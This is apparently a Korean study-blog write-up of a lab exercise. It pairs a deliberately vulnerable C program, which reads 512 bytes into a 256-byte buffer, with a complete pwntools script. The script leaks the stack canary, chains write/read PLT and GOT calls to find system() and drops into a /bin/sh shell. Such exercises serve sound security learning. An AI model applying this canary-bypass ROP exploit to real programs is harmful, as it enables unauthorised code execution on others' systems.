Self-Improvement

[Memory Leak] Canary 적용된 ROP 풀이 Pwntools 사용 본문

리버싱 기초

[Memory Leak] Canary 적용된 ROP 풀이 Pwntools 사용

JoGeun 2020. 5. 31. 15:04

소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <unistd.h>
#include <stdio.h>
 
int main(void){
 
        setvbuf(stdin,0,2,0);
        setvbuf(stdout,0,2,0);
        vuln();
}
 
int vuln(void){
 
        char buf[256];
        int sel;
        memset(buf,0,256);
 
        while(1){
                write(1,">>>",4);
                scanf("%d",&sel);
                switch(sel){
                        case 1:read(0,buf,512); break;
                        case 2:printf("%s\n", buf); break;
                        case 3:return 0break;
                }
        }
}
cs

switch-case 문으로 숫자를 받고 있으며 256바이트로 선언된 buf크기보다 case 1에서 512바이트까지 입력을 받을 수 있다. case 2에서는 입력받은 값을 출력하고 case 3에서는 종료가 된다.

 

적용된 보호기법

Canary, NX, ASLR, Partial

 

Python Pwntools 코드

case 1에서 BOF를 일으켜 case 2에서 Canary 값을 얻어낸 값과 함께  case 1에서 ROP를 입력한 후 case 3으로 종료 후 쉘 획득

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
 
#context.log_level='debug'
context(arch='x86', os='linux', endian='little')
 
e=ELF('./canary')
p=process('./canary')
 
p.recvuntil('>>>')
p.sendline('1')
 
payload='A'*256
payload+='B'
p.send(payload)
 
p.recvuntil('>>>')
p.sendline('2')
p.recvuntil('B')
 
#leak=p.read(3)
#cannary='\x00'+leak
 
cannary=u32('\x00'+p.recv(5)[0:3])
print "==================================="
log.info("cannary : 0x%x" %cannary)
 
offset=0x9ad60
p3r=0x8048709
binsh="/bin/sh\x00"
 
log.info("found address of .bss section : %s" %hex(e.get_section_by_name(".bss").header.sh_addr))
bss=e.get_section_by_name(".bss").header.sh_addr
 
log.info("found address of read plt : %s" %hex(e.plt["read"]))
read_plt=e.plt["read"]
 
log.info("found address of read got : %s" %hex(e.got["read"]))
read_got=e.got["read"]
 
log.info("found address of write plt : %s" %hex(e.plt["write"]))
write_plt=e.plt["write"]
 
log.info("found address of write got : %s" %hex(e.got["write"]))
write_got=e.got["write"]
print "==================================="
 
payload2='A'*256
payload2+=p32(cannary)
payload2+='BBBB'
 
payload2+=p32(write_plt)
payload2+=p32(p3r)
payload2+=p32(1)
payload2+=p32(read_got)
payload2+=p32(4)
 
payload2+=p32(read_plt)
payload2+=p32(p3r)
payload2+=p32(0)
payload2+=p32(bss)
payload2+=p32(8)
 
payload2+=p32(read_plt)
payload2+=p32(p3r)
payload2+=p32(0)
payload2+=p32(write_got)
payload2+=p32(4)
 
payload2+=p32(write_plt)
payload2+='CCCC'
payload2+=p32(bss)
 
p.recvuntil('>>>')
 
p.sendline('1')
p.send(payload2)
 
p.recvuntil('>>>')
p.sendline('3')
sleep(0.5)
 
p.recv()
read_addr=u32(p.recv()[-4:])
log.info('read_addr = 0x%x' %read_addr)
 
log.info('system_offset = 0x%x' %offset)
 
system=read_addr-offset
log.info('system = 0x%x' %system)
 
p.send(binsh)
p.send(p32(system))
 
p.interactive()
cs

처음에 read_addr 값이 출력이 안되서 당황했지만 p.recv를 두번했더니 두번째에 출력이 이루어졌다..

아직까지 이유는 잘 몰르겠다.

 

결과